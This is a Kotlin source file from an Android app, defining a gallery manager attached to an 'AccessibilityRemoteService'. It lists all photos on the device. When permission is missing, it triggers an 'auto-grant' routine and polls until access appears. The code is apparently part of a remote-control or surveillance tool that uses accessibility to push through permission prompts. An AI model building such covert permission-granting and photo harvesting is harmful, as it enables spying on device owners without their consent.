package com.hikoncont.manager

import android.content.ContentUris
import android.content.Context
import android.content.pm.PackageManager
import android.net.Uri
import android.provider.MediaStore
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService

class GalleryManager(private val service: AccessibilityRemoteService) {

    companion object {
        private const val TAG = "GalleryManager"
    }

    private val context: Context = service

    data class GalleryItem(
        val id: Long,
        val displayName: String,
        val dateAdded: Long,
        val mimeType: String,
        val width: Int,
        val height: Int,
        val size: Long,
        val contentUri: String
    )

    fun hasReadMediaPermission(): Boolean {
        return try {
            val hasImagesPermission = if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.TIRAMISU) {
                context.checkSelfPermission(android.Manifest.permission.READ_MEDIA_IMAGES) == PackageManager.PERMISSION_GRANTED
            } else {
                context.checkSelfPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
            }
            Log.d(TAG, "📷 相册读取权限: $hasImagesPermission")
            hasImagesPermission
        } catch (e: Exception) {
            Log.e(TAG, "检查相册读取权限失败", e)
            false
        }
    }

    fun readGalleryList(limit: Int = -1): List<GalleryItem> {
        val result = mutableListOf<GalleryItem>()

        if (!hasReadMediaPermission()) {
            Log.w(TAG, "⚠️ 相册读取权限未授予，尝试自动申请")
            try {
                // 触发自动权限申请
                service.requestGalleryPermissionWithAutoGrant()
            } catch (e: Exception) {
                Log.e(TAG, "触发相册权限申请失败", e)
            }

            // 轮询等待权限授予，最多等待约8秒
            var attempts = 0
            val maxAttempts = 16
            while (attempts < maxAttempts) {
                try {
                    Thread.sleep(500)
                } catch (ie: InterruptedException) {
                    // 忽略中断，继续检查
                }
                if (hasReadMediaPermission()) {
                    Log.i(TAG, "✅ 相册读取权限已在等待期间授予，继续读取")
                    break
                }
                attempts++
            }

            if (!hasReadMediaPermission()) {
                Log.w(TAG, "⚠️ 等待后仍未获得相册读取权限，返回空列表")
                return result
            }
        }

        try {
            val imagesUri: Uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI

            val projection = arrayOf(
                MediaStore.Images.Media._ID,
                MediaStore.Images.Media.DISPLAY_NAME,
                MediaStore.Images.Media.DATE_ADDED,
                MediaStore.Images.Media.MIME_TYPE,
                MediaStore.Images.Media.WIDTH,
                MediaStore.Images.Media.HEIGHT,
                MediaStore.Images.Media.SIZE
            )

            // 仅使用排序，不再拼接 LIMIT，避免 Invalid token LIMIT 异常
            val sortOrder = MediaStore.Images.Media.DATE_ADDED.toString() + " DESC"

            context.contentResolver.query(
                imagesUri,
                projection,
                null,
                null,
                sortOrder
            )?.use { cursor ->
                val idCol = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
                val nameCol = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DISPLAY_NAME)
                val dateCol = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATE_ADDED)
                val mimeCol = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.MIME_TYPE)
                val widthCol = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.WIDTH)
                val heightCol = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.HEIGHT)
                val sizeCol = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.SIZE)

                while (cursor.moveToNext()) {
                    val id = cursor.getLong(idCol)
                    val displayName = cursor.getString(nameCol) ?: ""
                    val dateAdded = cursor.getLong(dateCol) * 1000 // seconds -> ms
                    val mimeType = cursor.getString(mimeCol) ?: ""
                    val width = cursor.getInt(widthCol)
                    val height = cursor.getInt(heightCol)
                    val size = cursor.getLong(sizeCol)
                    val contentUri = ContentUris.withAppendedId(imagesUri, id).toString()

                    result.add(
                        GalleryItem(
                            id = id,
                            displayName = displayName,
                            dateAdded = dateAdded,
                            mimeType = mimeType,
                            width = width,
                            height = height,
                            size = size,
                            contentUri = contentUri
                        )
                    )
                    // limit<=0 时表示不限制数量
                    if (limit > 0 && result.size >= limit) {
                        break
                    }
                }
            }

            Log.d(TAG, "📷 读取到相册图片: ${result.size} 张")
        } catch (e: Exception) {
            Log.e(TAG, "读取相册失败", e)
        }

        return result
    }
}


